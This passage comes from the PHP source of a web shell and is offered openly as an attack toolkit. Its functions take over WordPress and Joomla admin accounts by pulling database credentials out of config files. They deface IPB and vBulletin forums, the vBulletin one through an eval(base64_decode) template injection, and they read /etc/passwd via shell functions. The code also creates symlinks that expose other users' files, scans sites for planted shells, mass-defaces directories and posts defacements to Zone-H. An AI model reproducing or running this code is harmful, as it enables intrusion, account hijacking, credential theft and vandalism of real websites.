ta","netstats","network","news","nms","nntp","ns","ns1","ns2","ns3","ntp","online","openview","oracle","outlook","page","pages","partner","partners","pda","personal","ph","pictures","pix","pop","pop3","portal","press","print","printer","private","project","projects","proxy","public","ra","radio","raptor","ras","read","register","remote","report","reports","root","router","lister","rwhois","sac","schedules","scotty","search","secret","secure","security","seri","serv","serv2","server","service","services","shop","shopping","site","sms","smtp","smtphost","snmp","snmpd","snort","solaris","1","2","3","4","5","6","7","8","9","0","solutions","support","source","sql","ssl","stats","store","stream","streaming","sun","support","switch","sysback","system","tech","terminal","test","testing","testing123","time","tivoli","training","transfers","uddi","update","upload","uploads","video","vpn","w1","w2","w3","wais","wap","web","webdocs","weblib","weblogic","webmail","webserver","webservices","websphere","whois","wireless","work","world","write","ws","ws1","ws2","ws3","www1","www2","www3","www4","www5","www6","www7","www8","www9","drupal","wordpress","joomla","db","database","love");
1861if($_POST){
1862$url = $_POST["site"];
1863foreach($subs as $sub){
1864if(!eregi($url, gethostbyname($sub.".".$url))){
1865echo '<font face="Baskerville Old Face" color="#df5">'.$sub.".".$url.' : </font><font color="green">'.gethostbyname($sub.".".$url).'</font></br>';
1866}else{
1867echo '<font face="Baskerville Old Face" color="#df5">'.$sub.".".$url.' : Nothing Found</font></br>';
1868}
1869}
1870}
1871wsoFooter();}
1872####################### Forums #######################
1873function actionforum() {
1874wsoHeader();
1875echo'
1876<center>
1877<h1>Wordpress</h1>
1878<a href=# onclick="g(\'wpsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ WordPress Login Changer From Config ]</a><br><br>
1879<a href=# onclick="g(\'wpkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ WordPress Login Changer From Keyboard ]</a><br><br>
1880<center>
1881<h1>Joomla</h1>
1882<a href=# onclick="g(\'jmsym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Joomla Login Changer From Config ]</a><br><br>
1883<a href=# onclick="g(\'jmkey\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Joomla Login Changer From Keyboard ]</a><br><br>
1884<center>
1885<h1>Vbulletin</h1>
1886<a href=# onclick="g(\'vbindex\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Vbulletin index changer ]</a><br><br>
1887<center>
1888<h1>PHPBB</h1>
1889<a href=# onclick="g(\'phpbb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ PHPBB index changer ]</a><br><br>
1890<center>
1891<h1>IPB</h1>
1892<a href=# onclick="g(\'ipb\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ IPB index changer ]</a><br><br>
1893<center>
1894';
1895wsoFooter(); }
1896######################### IPB #######################
1897function actionipb() {
1898wsoHeader();
1899echo'<center><h1> IPB index Changer </h1>
1900<form method = "POST">
1901<table border = "1" width="443" height="316" style="text-align: center" align="center">
1902<tr>
1903<td height="105" width="780">
1904<p align="center"><b>Host : </b>
1905<input type="text" name="f10" size="20" value="localhost"> <b>
1906DataBase :</b> <input type ="text" name = "f11" size="20"></p>
1907<p align="center"> <b>User :</b>
1908<input type ="text" name = "f12" size="20">
1909<b> Password :</b> <input type ="text" name = "f13" size="20"><p align="center">
1910<b>Table Prefix:</b><br>
1911<input type ="text" name = "f14" size="20" value="ibf_skin_sets"></td>
1912</tr>
1913<tr>
1914<td height="167" width="780"><p align="center"> <textarea name="index3" cols=53 rows=9> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
1915 </textarea><p align="center"><input type="hidden" name="a" value="ipb"><input type = "submit" value = "Deface !">
1916<input type = "reset" value = "Clear"></td>
1917</tr>
1918</tr>
1919</table>';
1920$localhost3 = $_POST['f10'];
1921$database3 = $_POST['f11'];
1922$username3 = $_POST['f12'];
1923$password3 = $_POST['f13'];
1924$IPB = $_POST['f14'];
1925$index3 = $_POST['index3'];
1926if($database3=$_POST['f11']){
1927$con3 =@ mysql_connect($localhost3,$username3,$password3) or die;
1928$db3 =@ mysql_select_db($database3,$con3) or die;
1929
1930$query3 = "UPDATE $IPB SET set_cache_wrapper = '$index3'" or die;
1931$result3 =@ mysql_query($query3,$con3);
1932if($result3){
1933echo "<p align='center'>
1934<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>";
1935}
1936else {
1937echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>";
1938}
1939}
1940wsoFooter(); }
1941######################## wp key ############################
1942function actionwpkey() {
1943wsoHeader();
1944{
1945if(empty($_POST['pwd'])){
1946
1947echo "<br><br><center><div class='mybox'>
1948<h1>[ Wordpress login changer ]</h1>
1949<FORM method='POST'>DB Prefix : <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'> Host : <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> db : <INPUT class ='inputz' size='10' value='Database' name='database' type='text'> User : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> Pass : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'> <br><br>New User : <INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Pass : <INPUT class ='inputz' name='pwd' size='15' value='19620705'><br> <br><input type='hidden' name='a' value='wpkey' ><INPUT class='inputzbut' value='Change it Please' name='send' type='submit'></FORM></div/></center>";
1950}
1951else{$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database= $_POST['database'];
1952$username= $_POST['username'];
1953$password= $_POST['password'];
1954$pwd= $_POST['pwd'];
1955$admin= $_POST['admin'];
1956@mysql_connect($localhost,$username,$password) or die(mysql_error());
1957@mysql_select_db($database) or die(mysql_error());
1958$hash = crypt($pwd);
1959$grab = @mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
1960$data = @mysql_fetch_array($grab);
1961$site_url=$data["option_value"];
1962$jijle3=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
1963$jijle3=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
1964if($jijle3){echo '<br><br><center><h1>Done ... -> <a href="'.$site_url.'/wp-login.php" target="_blank">Login</a></h1></center>';
1965}}
1966echo '</center>';
1967}
1968wsoFooter(); }
1969######################## wp sym ############################
1970function actionwpsym() {
1971wsoHeader();
1972if ($_POST['kill']) {
1973$url = $_POST['url'];
1974$user = $_POST['user'];$pass =$_POST['pass'];
1975$pss = md5($pass);
1976function enter($text,$a,$b){$explode = explode($a,$text);$explode = explode($b,$explode[1]);
1977return $explode[0];}$config = file_get_contents($url);$password = enter($config,"define('DB_PASSWORD', '","');");
1978$username = enter($config,"define('DB_USER', '","');");$db = enter($config,"define('DB_NAME', '","');");$prefix = enter($config,'$table_prefix = \'',"';");$host = enter($config,"define('DB_HOST', '","');");if($config && preg_match('/DB_NAME/i',$config)){$conn= @mysql_connect($host,$username ,$password ) or die ("i can't connect to mysql, check your data");@mysql_select_db($db,$conn) or die (mysql_error());$grab = @mysql_query("SELECT * from `wp_options` WHERE option_name='home'");$data = @mysql_fetch_array($grab);$site_url = $data["option_value"];$query = mysql_query("UPDATE `".$prefix."users` SET `user_login` = '".$user."',`user_pass` = '".$pss."' WHERE `ID` = 1");if ($query) {echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="20%">site</th><th width="20%">user</th><th with="20%">password</th><th width="20%">link</th></tr><tr><td width="20%"><font size="2" color="red">'.$site_url.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$pass.'</td><td width="20%"><a href="'.$site_url.'/wp-login.php"><font color="#00ff00">login</font></td></tr></table>';} else echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';} else die('<center><h2 class="jijle3">Jijle3@phdz:~# This is Not WordPress Config !</h2>');} else { ?> <center><br><br><div class="mybox"><form method="post">
1979<h1 style='font-size:26px;' class='jijle3'>[ Wordpress Login changer From Config ]</h1>
1980<br>
1981<table><tr><td>Config File Link : </td><td>
1982<input size="26" class="inputz" type="text" name="url" value="">
1983</td></tr><tr><td>New User : </td><td>
1984<input class="inputz" type="text" name="user" size="26" value="jijle3"></td>
1985</tr><tr><td>New Pass : </td><td>
1986<input class="inputz" type="text" size="26" name="pass" value="jijle3"></td></tr><tr><td>
1987<br></td></tr><tr><td>
1988<input type="hidden" name="a" value="wpsym"><input class="inputzbut" type="submit" name="kill" value=" Change it Please "></td>
1989<br></tr></table></form></div>
1990</center><?php
1991 }
1992 wsoFooter();
1993 }
1994 ######################## joomla sym ############################
1995 function actionjmsym() {
1996 wsoHeader(); {
1997 if ($_POST['symjo']) {
1998 $config = file_get_contents($_POST['url']);
1999 $user = $_POST['user'];
2000 $pass = md5($_POST['pass']);
2001 function ex($text, $a, $b) {
2002 $explode = explode($a, $text);
2003 $explode = explode($b, $explode[1]);
2004 return $explode[0];
2005 }
2006 if ($config && ereg('JConfig', $config)) {
2007 $psswd = ex($config, '$password = \'', "';");
2008 $username = ex($config, '$user = \'', "';");
2009 $dbname = ex($config, '$db = \'', "';");
2010 $prefix = ex($config, '$dbprefix = \'', "';");
2011 $host = ex($config, '$host = \'', "';");
2012 $email = ex($config, '$mailfrom = \'', "';");
2013 $formn = ex($config, '$fromname = \'', "';");
2014 $conn = mysql_connect($host, $username, $psswd) or die(mysql_error());
2015 mysql_select_db($dbname, $conn) or die($username . ' ' . $psswd . ' ' . $host . ' ' . $dbname);
2016 $query = @mysql_query("UPDATE `" . $prefix . "users` SET `username` ='" . $user . "' , `password` = '" . $pass . "', `usertype` = 'Super Administrator', `block` = 0");
2017 if ($query) {
2018 echo '<center><h2 class="jijle3">Done !</h2></center><br><table width="100%"><tr><th width="30%">site name</th><th width="20%">user</th><th width="20%">password</th><th width="20%">email</th></tr><tr><td width="20%"><font size="2" color="red">' . $formn . '</font></td><td width="20%">' . $user . '</td><td with="20%">' . $_POST["pass"] . '</td><td width="20%">' . $email . '</td></tr></table>';
2019 } else {
2020 echo '<h2 class="jijle3"><font color="#ff0000">ERROR !</font></h2>';
2021 }
2022 } else die('<h2 class="jijle3"><font color="#df5">Jijle3@phdz:~# This is Not Joomla Config . . <br><br> # i Will Drive if You Are Drunk !</font></h2>');
2023 } else {
2024?>
2025<center><br><br><div class="mybox">
2026<form method="post"><table>
2027<h1 class="jijle3">Joomla Login Changer From Config</h1>
2028<tr><td>config link : </td><td><input class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user : </td><td><input class="inputz" type="text" name="user" value="admin"></td></tr><tr><td>new password : </td><td><input class="inputz" type="text" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input type="hidden" name="a" value="jmsym"><input type="submit" class="inputzbut" name="symjo" value="change"></td><br></tr></table></form></div></center><?php
2029 }
2030 }
2031 wsoFooter();
2032 }
2033 ######################## joomla key ############################
2034 function actionjmkey() {
2035 wsoHeader(); {
2036 if (empty($_POST['pwd'])) {
2037 echo "<br><br><br><center><div class='mybox'><h1>Joomla login changer</h1><FORM method='POST'><br><br><br>DB_Prefix : <INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'> host :
2038<INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'> database : <INPUT class ='inputz' size='10' value='database' name='database' type='text'> username : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'> password : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br> <br>New Username: <INPUT class ='inputz' name='admin' size='15' value='jijle3'><br><br>New Password: <INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br> <input type='hidden' name='a' value='jmkey'><INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>";
2039 } else {
2040 $prefix = $_POST['prefix'];
2041 $localhost = $_POST['localhost'];
2042 $database = $_POST['database'];
2043 $username = $_POST['username'];
2044 $password = $_POST['password'];
2045 $admin = $_POST['admin'];
2046 $pd = ($_POST["pwd"]);
2047 $pwd = md5($pd);
2048 @mysql_connect($localhost, $username, $password) or die(mysql_error());
2049 @mysql_select_db($database) or die(mysql_error());
2050 $SQL = @mysql_query("UPDATE " . $prefix . "users SET username ='" . $admin . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
2051 $SQL = @mysql_query("UPDATE " . $prefix . "users SET password ='" . $pwd . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
2052 if ($SQL) echo "<br><br><center><h1>Password Changed ! ... Go and login</h1></center>";
2053 }
2054 }
2055 wsoFooter();
2056 }
2057 ######################## vb index ######################
2058 function actionvbindex() {
2059 wsoHeader(); {
2060 if (empty($_POST['index'])) {
2061 echo "<center><br><br><div width='100%' class='mybox'><br><h1 class='jijle3'>Vbulletin index changer</h1>
2062<br><FORM method='POST'>host : <INPUT size='12' class='inputz' value='localhost' name='localhost' type='text'> | database : <INPUT class='inputz' size='12' value='db_name' name='database' type='text'> | username : <INPUT class='inputz' size='10' value='db_user' name='username' type='text'> | password : <INPUT class='inputz' size='10' value='bd_pass' name='password' type='text'> | perfix : <input class='inputz' size='10' value='' name='perfix' type='text'><br><br><textarea class='inputz' name='index' cols='40' rows='10'>
2063<br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
2064</textarea><br><input type='hidden' name='a' value='vbindex'><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></div></center>";
2065 } else {
2066 $localhost = $_POST['localhost'];
2067 $database = $_POST['database'];
2068 $username = $_POST['username'];
2069 $password = $_POST['password'];
2070 $perfix = $_POST['perfix'];
2071 $index = $_POST['index'];
2072 @mysql_connect($localhost, $username, $password) or die(mysql_error());
2073 @mysql_select_db($database) or die(mysql_error());
2074 $index = str_replace("\'", "'", $index);
2075 $set_index = "{\${eval(base64_decode(\'";
2076 $set_index.= base64_encode("echo '$index';");
2077 $set_index.= "\'))}}{\${exit()}}</textarea>";
2078 $ok = @mysql_query("UPDATE " . $perfix . "template SET template ='" . $set_index . "' WHERE title ='FORUMHOME'") or die(mysql_error());
2079 if ($ok) {
2080 echo "Hamd Li Allah . . . Vb Forum Has Been DEFACED ! <br><br>";
2081 }
2082 }
2083 }
2084 wsoFooter();
2085 }
2086 ####################### {Smylink } ##############################
2087 function actionsym() {
2088 wsoHeader();
2089 //Smylinker
2090 echo '
2091<center>
2092<h1>File Symlink</h1>
2093<br /><br />
2094<form method="post">
2095<input type="hidden" name="a" value="sym">
2096<input type="text" name="file" value="/var/www/" size="50"/><br /><br />
2097<input type="text" name="symfile" value="algeria.txt" size="50"/><br /><br />
2098<input type="submit" value="symlink" name="symlink" /> <br /><br />
2099</form>
2100';
2101 $pfile = $_POST['file'];
2102 $symfile = $_POST['symfile'];
2103 $symlink = $_POST['symlink'];
2104 if ($symlink) {
2105 @mkdir('phdzsymF', 0755);
2106 $c = "Options Indexes FollowSymLinks
2107 DirectoryIndex ssssss.htm
2108 AddType txt .php
2109 AddHandler txt .php
2110 AddType txt .html
2111 AddHandler txt .html
2112 Options all
2113 Options
2114 Allow from all
2115 Require None
2116 Satisfy Any";
2117 $f = @fopen('phdzsymF/.htaccess', 'w');
2118 @fwrite($f, $c);
2119 @symlink("$pfile", "phdzsymF/$symfile");
2120 echo '<br /><a target="_blank" href="phdzsymF/' . $symfile . '" >' . $symfile . '</a>';
2121 }
2122?></center><?php
2123 wsoFooter();
2124 }
2125 ################ Etc/pwd ####################
2126 function actionetcbaypass() {
2127 wsoHeader();
2128 //etc passwd
2129
2130?></center><?php
2131 echo '<br><center><h1>Etc Passwd Bypasser</h1><br>[ Bism Allah ]<center><br><br>';
2132 echo '
2133<form method="post">
2134<input type="submit" value="Use [ System ] Function" name="syst">
2135<input type="hidden" name="a" value="etcbaypass">
2136</form>
2137</center><br>
2138</p>
2139
2140
2141<form method="post">
2142<font face="Tahoma" color="#007700" size="2pt">
2143<input type="submit" value="Use [ PassThru ] Function" name="passth">
2144<input type="hidden" name="a" value="etcbaypass">
2145</form>
2146</center><br>
2147</p>
2148
2149<p><center>
2150<form method="post">
2151<input type="submit" value="Use [ Exec ] Function" name="ex">
2152<input type="hidden" name="a" value="etcbaypass">
2153</form>
2154</center><br>
2155</p>
2156
2157<p><center>
2158<form method="post">
2159<input type="submit" value="Use [ Sh Exec ] Function" name="shex">
2160<input type="hidden" name="a" value="etcbaypass">
2161</form>
2162</center><br>
2163</p>
2164
2165<p><center>
2166<form method="post">
2167<input type="submit" value="Use [ Posix Getpwuid ] Function" name="dz">
2168<input type="hidden" name="a" value="etcbaypas">
2169</form>
2170</center><br>
2171</p>
2172
2173<center>';
2174 //System Function //
2175 if ($_POST['syst']) {
2176 echo "<textarea class='area' cols='65' rows='15'>";
2177 echo system("cat /etc/passwd");
2178 echo "</textarea><br>";
2179 echo "
2180<br>
2181<b>
2182</b>
2183<br>
2184";
2185 }
2186 echo '
2187</center>
2188<center>';
2189 //Passthru Function //
2190 if ($_POST['passth']) {
2191 echo "<textarea class='area' cols='65' rows='15'>";
2192 echo passthru("cat /etc/passwd");
2193 echo "</textarea><br>";
2194 echo "
2195<br>
2196<b>
2197
2198</b>
2199<br>
2200";
2201 }
2202 echo '
2203</center>
2204<center>';
2205 //exec Function //
2206 if ($_POST['ex']) {
2207 echo "<textarea class='area' cols='65' rows='15'>";
2208 echo exec("cat /etc/passwd");
2209 echo "</textarea><br>";
2210 echo "
2211<br>
2212<b>
2213</b>
2214<br>
2215";
2216 }
2217 echo '
2218</center>
2219<center>';
2220 //exec Function //
2221 if ($_POST['shex']) {
2222 echo "<textarea class='area' cols='65' rows='15'>";
2223 echo shell_exec("cat /etc/passwd");
2224 echo "</textarea><br>";
2225 echo "
2226<br>
2227<b>
2228</b>
2229<br>
2230";
2231 }
2232 echo '</center>
2233<center>';
2234 //posix_getpwuid Function //
2235 if ($_POST['dz']) {
2236 echo "<textarea class='area' cols='65' rows='15'>";
2237 for ($uid = 0;$uid < 60000;$uid++) {
2238 $ara = posix_getpwuid($uid);
2239 if (!empty($ara)) {
2240 while (list($key, $val) = each($ara)) {
2241 print "$val:";
2242 }
2243 print "
2244";
2245 }
2246 }
2247 echo "</textarea><br>";
2248 echo "
2249<br>
2250<b>
2251</b>
2252<br>
2253";
2254 }
2255?></center><?php
2256 wsoFooter();
2257 }
2258 ################################## Server User ##############################
2259 function actionetcnmd() {
2260 wsoHeader();
2261 echo '<br><center><h1>Server User Bypasser</h1><br>[ Bism Allah ]<center><br><br>';
2262 echo '
2263<div class="tul"><font color="ee5500" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
2264
2265<p><center>
2266<form method="post">
2267<input type="submit" value="Use [ AWK Programe ] Function" name="awk">
2268<input type="hidden" name="a" value="etcnmd">
2269</form>
2270</center><br>
2271</p>
2272
2273
2274<p><center>
2275<form method="post">
2276<input type="submit" value="Use [ Systeme ] Function" name="syst">
2277<input type="hidden" name="a" value="etcnmd">
2278</form>
2279</center><br>
2280</p>
2281
2282<p><center>
2283<form method="post">
2284<input type="submit" value="Use [ Passthru ] Function" name="passth">
2285<input type="hidden" name="a" value="etcnmd">
2286</form>
2287</center><br>
2288</p>
2289
2290<p><center>
2291<form method="post">
2292<input type="submit" value="Use [ Exec ] Function" name="ex">
2293<input type="hidden" name="a" value="etcnmd">
2294</form>
2295</center><br>
2296</p>
2297
2298<p><center>
2299<form method="post">
2300<input type="submit" value="Use [ Sh Exec ] Function" name="shex">
2301<input type="hidden" name="a" value="etcnmd">
2302</form>
2303</center><br>
2304</p><center>';
2305 //Awk Program //
2306 if ($_POST['awk']) {
2307 echo "<textarea class='area' cols='65' rows='15'>";
2308 echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
2309 echo "</textarea><br>";
2310 echo "
2311<br>
2312<b>
2313</b>
2314<br>
2315";
2316 }
2317 echo "</center><center>";
2318 //System Function //
2319 if ($_POST['syst']) {
2320 echo "<textarea class='area' cols='65' rows='15'>";
2321 echo system("ls /var/mail");
2322 echo "</textarea><br>";
2323 echo "
2324<br>
2325<b>
2326</b>
2327<br>
2328";
2329 }
2330 echo "</center><center>";
2331 //Passthru Function //
2332 if ($_POST['passth']) {
2333 echo "<textarea class='area' cols='65' rows='15'>";
2334 echo passthru("ls /var/mail");
2335 echo "</textarea><br>";
2336 echo "
2337<br>
2338<b>
2339</b>
2340<br>
2341";
2342 }
2343 echo "</center><center>";
2344 //exec Function //
2345 if ($_POST['ex']) {
2346 echo "<textarea class='area' cols='65' rows='15'>";
2347 echo exec("ls /var/mail");
2348 echo "</textarea><br>";
2349 echo "
2350<br>
2351<b>
2352
2353</b>
2354<br>
2355";
2356 }
2357 echo "</center><center>";
2358 //exec Function //
2359 if ($_POST['shex']) {
2360 echo "<textarea class='area' cols='65' rows='15'>";
2361 echo shell_exec("ls /var/mail");
2362 echo "</textarea><br>";
2363 echo "
2364<br>
2365<b>
2366</b>
2367<br>
2368";
2369 }
2370?></center><?php
2371 wsoFooter();
2372 }
2373 ##################### Shell Finder ####################
2374 function actionshellfind() {
2375 wsoHeader();
2376 echo '<center>
2377<center><h1>Shell Finder<h1><br>
2378<p align="center"></p><br>
2379<form method="POST">
2380</form><center>
2381<form action="" method="post">
2382<input name="traget" type="text" size="100" value="http://www.site.co.il/"/><br>
2383<input type="hidden" name="a" value="shellfind">
2384<br><br>
2385<input name="scan" size="100" value="Start Scaning" type="submit">
2386</form><br>';
2387 set_time_limit(0);
2388 if (isset($_POST["scan"])) {
2389 $url = $_POST['traget'];
2390 echo "<br /><span class='start'>Scanning " . $url . "<br /><br /></span>";
2391 $shells = array("WSO.php", "shell.php", "3xd.php", "dz.php", "priv8.php", "sniper.php", "dhanush shell.php", "cpanel.php", "cpn.php", "sql.php", "mysql.php", "madspot.php", "cp.php", "cpbt.php", "sYm.php", "x.php", "r99.php", "lol.php", "jo.php", "wp.php", "whmcs.php", "shellz.php", "d0main.php", "d0mains.php", "users.php", "Cgishell.pl", "killer.php", "changeall.php", "2.php", "Sh3ll.php", "dz0.php", "dam.php", "user.php", "dom.php", "whmcs.php", "vb.zip", "r00t.php", "c99.php", "gaza.php", "1.php", "wp.zip" . "wp-content/plugins/disqus-comment-system/disqus.php", "d0mains.php", "wp-content/plugins/akismet/akismet.php", "madspotshell.php", "Sym.php", "c22.php", "c100.php", "wp-content/plugins/akismet/admin.php#", "wp-content/plugins/google-sitemap-generator/sitemap-core.php#", "wp-content/plugins/akismet/widget.php#", "Cpanel.php", "zone-h.php", "tmp/user.php", "tmp/Sym.php", "cp.php", "tmp/madspotshell.php", "tmp/root.php", "tmp/whmcs.php", "tmp/index.php", "tmp/2.php", "tmp/dz.php", "tmp/cpn.php", "tmp/changeall.php", "tmp/Cgishell.pl", "tmp/sql.php", "tmp/admin.php", "cliente/downloads/h4xor.php", "whmcs/downloads/dz.php", "L3b.php", "d.php", "tmp/d.php", "tmp/L3b.php", "wp-content/plugins/akismet/admin.php", "templates/rhuk_milkyway/index.php", "templates/beez/index.php", "admin1.php", "upload.php", "up.php", "vb.zip", "vb.rar", "admin2.asp", "uploads.php", "sa.php", "sysadmins/", "admin1/", "administration/Sym.php", "images/Sym.php", "/r57.php", "/wp-content/plugins/disqus-comment-system/disqus.php", "/shell.php", "/sa.php", "/admin.php", "/sa2.php", "/2.php", "/gaza.php", "/up.php", "/upload.php", "/uploads.php", "/templates/beez/index.php", "shell.php", "/amad.php", "/t00.php", "/dz.php", "/site.rar", "/Black.php", "/site.tar.gz", "/home.zip", "/home.rar", "/home.tar", "/home.tar.gz", "/forum.zip", "/forum.rar", "/forum.tar", "/forum.tar.gz", "/test.txt", "/ftp.txt", "/user.txt", "/site.txt", "/error_log", "/error", "/cpanel", "/awstats", "/site.sql", "/vb.sql", "/forum.sql", "/backup.sql", "/back.sql", "/data.sql", "wp.rar/", "wp-content/plugins/disqus-comment-system/disqus.php", "asp.aspx", "/templates/beez/index.php", "tmp/vaga.php", "tmp/killer.php", "whmcs.php", "tmp/killer.php", "tmp/domaine.pl", "tmp/domaine.php", "useradmin/", "ma.php", "tn.php", "wso.php.html", "shell.php", "dhanush.php", "tmp/d0maine.php", "d0maine.php", "tmp/sql.php", "tmp/dz1.php", "dz1.php", "forum.zip", "Symlink.php", "Symlink.pl", "forum.rar", "joomla.zip", "joomla.rar", "wp.php", "buck.sql", "sysadmin.php", "images/c99.php", "xd.php", "c100.php", "spy.aspx", "xd.php", "tmp/xd.php", "sym/root/home/", "billing/killer.php", "tmp/upload.php", "tmp/admin.php", "Server.php", "tmp/uploads.php", "tmp/up.php", "Server/", "wp-admin/c99.php", "tmp/priv8.php", "priv8.php", "cgi.pl/", "tmp/cgi.pl", "downloads/dom.php", "templates/ja-helio-farsi/index.php", "webadmin.html", "admins.php", "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/", "admins.asp", "admins.php", "wp.zip");
2392 //Start Scan
2393 foreach ($shells as $shell) {
2394 $headers = get_headers("$url$shell"); //
2395 if (eregi('200', $headers[0])) {
2396 //Result
2397 echo "<a href='$url$shell'>$url$shell</a> <span class='found'</span><br /><br/><br/>"; //
2398
2399 }
2400 }
2401 }
2402?></center><?php
2403 wsoFooter();
2404 }
2405 ######################### Domains #########################
2406 function actiondomains() {
2407 wsoHeader();
2408 echo '<center><h1>Server Domain</h1>';
2409 $file = @implode(@file("/etc/named.conf"));
2410 if (!$file) {
2411 die(" [/etc/named.conf] Not Writeable ! ");
2412 }
2413 preg_match_all("#named/(.*?).db#", $file, $r);
2414 $domains = array_unique($r[1]);
2415 //check();
2416 //if(isset($_GET['ShowAll']))
2417 {
2418 echo "<table align=center border=1 width=59% cellpadding=5>
2419<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
2420<tr><td>Domain</td><td>User</td></tr>";
2421 foreach ($domains as $domain) {
2422 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2423 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
2424 }
2425 echo "</table>";
2426 }
2427 echo '</div>';
2428 wsoFooter();
2429 }
2430 ######################### Mass Deface #########################
2431 function actionmass() {
2432 wsoHeader();
2433?>
2434<head>
2435<center>
2436<span style="font-weight: 700;" class="style33">
2437 <h1>Folders Mass Defacer</h1></span></span></span><BR>
2438 </div>
2439<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
2440<div class="style31"><center>
2441<span>Directory : </span><br><input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'><BR><br>
2442<span>index Url : </span><br><input type='text' style='width: 250px' name='massdefaceurl'>
2443 </form></td>
2444<p class="style3">
2445<input type="hidden" name="a" value="mass"><input type='submit' name='execmassdeface' value='>>'></div>
2446<center><span>Rusult : <span>
2447<span <ul>
2448 <span class="style32">
2449 <span class="style39">
2450 </span></p>
2451<span style="font-weight: 700;" class="style33">
2452 <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);">
2453</center>
2454<div class="style31">
2455<html>
2456<?php
2457 echo "<center><textarea rows='10' cols='100'>ph@dz:~# Jijle3 Mass Defacer | ";
2458 $defaceurl = $_POST['massdefaceurl'];
2459 $dir = $_POST['massdefacedir'];
2460 echo $dir . "
2461";
2462 if (is_dir($dir)) {
2463 if ($dh = opendir($dir)) {
2464 while (($file = readdir($dh)) !== false) {
2465 if (filetype($dir . $file) == "dir") {
2466 $newfile = $dir . $file . "/index.html";
2467 echo $newfile . "
2468";
2469 if (!copy($defaceurl, $newfile)) {
2470 echo "ph@dz:~# Faild To Copy ! >> $file...";
2471 }
2472 }
2473 }
2474 closedir($dh);
2475 }
2476 }
2477 echo "</textarea></center>";
2478 wsoFooter();
2479 }
2480 ############## Domain #####################
2481 function actionDomain() {
2482 printHeader();
2483 echo '<h1>local domain viewer</h1><div class=content>';
2484 $file = @implode(@file("/etc/named.conf"));
2485 if (!$file) {
2486 die("# can't ReaD -> [ /etc/named.conf ]");
2487 }
2488 preg_match_all("#named/(.*?).db#", $file, $r);
2489 $domains = array_unique($r[1]);
2490 //check();
2491 //if(isset($_GET['ShowAll']))
2492 {
2493 echo "<table align=center border=1 width=59% cellpadding=5>
2494<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
2495<tr><td>Domain</td><td>User</td></tr>";
2496 foreach ($domains as $domain) {
2497 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2498 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
2499 }
2500 echo "</table>";
2501 }
2502 echo '</div>';
2503 wsoFooter();
2504 }
2505 ######################### Zone-h ############################
2506 function actionzoneh() {
2507 wsoHeader(); {
2508?>
2509<br><br><center>
2510<!-- Zone-H -->
2511<form action="" method='POST'><table><table class='tabnet'><tr>
2512<center>
2513<h1>Zone-H Mass Poster</h1>
2514<br /><br />
2515<font>Attaker Name<font><center><input type="text" class="inputz" name="defacer" value="Martyrs Crew" /><br>
2516<select name="hackmode" class="inputz" >
2517<option >------------------------ Select ------------------------</option>
2518<option value="1">known vulnerability (i.e. unpatched system)</option>
2519<option value="2" >undisclosed (new) vulnerability</option>
2520<option value="3" >configuration / admin. mistake</option>
2521<option value="4" >brute force attack</option>
2522<option value="5" >social engineering</option>
2523<option value="6" >Web Server intrusion</option>
2524<option value="7" >Web Server external module intrusion</option>
2525<option value="8" >Mail Server intrusion</option>
